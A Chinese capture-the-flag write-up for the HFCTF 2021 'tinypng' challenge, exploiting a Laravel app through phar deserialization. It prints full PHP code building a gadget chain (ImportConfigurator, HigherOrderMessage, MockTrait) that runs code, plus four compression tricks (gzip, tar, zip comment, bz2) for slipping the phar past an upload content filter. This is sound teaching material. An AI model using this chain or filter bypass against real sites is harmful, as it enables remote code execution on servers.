[HFCTF 2021 Final]tinypng
复现环境请看buuoj。
给了源码,发现是Laravel框架,查看routes/web.php
发现有三条路由。跟进app/Http/Controllers去找后两条路由,发现IndexController有文件上传,但是限制了文件中不能有/<\?|php|HALT\_COMPILER/i
。而且文件名会被重命名,后缀必须为png。
在ImageController中,发现会执行compressImg,即对你传入的照片进行压缩,也限制了后缀必须为png。
跟进去看看,开 幕 雷 击
$this->src
任意可控,懂得都懂.jpg。至于反序列化链这一块儿,不是本文的重点,也不是过滤的重点,网上有很多文章,就不再列举了,感兴趣也可以去手动挖一挖。这里参考guoke师傅的文章,采用ImportConfigurator->HigherOrderMessage->MockTrait
的链子。
那么本文的重点是什么呢?没错,就是下面的这部分(guoke师傅的文章复现),即phar文件可以允许的4种压缩方式,用来绕过像本题一样的内容过滤。具体的内容可以见引文,本文不再复读一边,仅作为复现和总结。
反序列化phar文件生成:
<?php
namespace Symfony\Component\Routing\Loader\Configurator{
class ImportConfigurator{
private $parent;
private $route;
public function __construct($class){
$this->parent=$class;
$this->route='test';
}
}
}
namespace Mockery{
class HigherOrderMessage{
private $mock;
private $method;
public function __construct($class){
$this->mock=$class;
$this->method='generate';
}
}
}
namespace PHPUnit\Framework\MockObject{
final class MockTrait{
private $mockName;
private $classCode;
public function __construct(){
$this->mockName='123';
$this->classCode='phpinfo();';
}
}
}
namespace{
use \Symfony\Component\Routing\Loader\Configurator\ImportConfigurator;
use \Mockery\HigherOrderMessage;
use \PHPUnit\Framework\MockObject\MockTrait;
$c=new MockTrait();
$b=new HigherOrderMessage($c);
$a=new ImportConfigurator($b);
# file_put_contents('.phar/.metadata',serialize($a));
@unlink("phar.phar");
$phar=new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub('GIF89a'."__HALT_COMPILER();");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
}
?>
1、gzip
生成完phar再执行gzip phar.phar
2、tar
<?php
省略....
namespace{
use \Symfony\Component\Routing\Loader\Configurator\ImportConfigurator;
use \Mockery\HigherOrderMessage;
use \PHPUnit\Framework\MockObject\MockTrait;
$c=new MockTrait();
$b=new HigherOrderMessage($c);
$a=new ImportConfigurator($b);
file_put_contents('.phar/.metadata',serialize($a));
//把反序列化数据写到.phar/.metadata。
}
?>
然后执行tar -cvf test.tar .phar/
3、zip
$a=serialize(new a());//序列化数据放在这里
$zip = new ZipArchive;
$res = $zip->open('test.zip', ZipArchive::CREATE);
$zip->addFromString('test.txt', 'file content goes here');
$zip->setArchiveComment($a);//把序列化数据放进zip的注释里面
$zip->close();
不过zip的注释里不能有00.高版本可以用大写S,16进制替换%00。注意命名空间类的\和16进制的\冲突。 解决方案:把\
替换\5c
,不过要注意别把不是S里的\也替换了。
4、bz2
<?php
省略....
namespace{
use \Symfony\Component\Routing\Loader\Configurator\ImportConfigurator;
use \Mockery\HigherOrderMessage;
use \PHPUnit\Framework\MockObject\MockTrait;
$c=new MockTrait();
$b=new HigherOrderMessage($c);
$a=new ImportConfigurator($b);
@unlink("phar.phar");
$phar=new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub('GIF89a'."__HALT_COMPILER();");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
}
?>
bzip2 phar.phar
最后再强调一点,反序列化链子打,看到500的页面是很正常的,建议看到后看一下源码或者往下拉一下,有时候确实是执行成功了。。
具体原理请看下面的Refrence。。。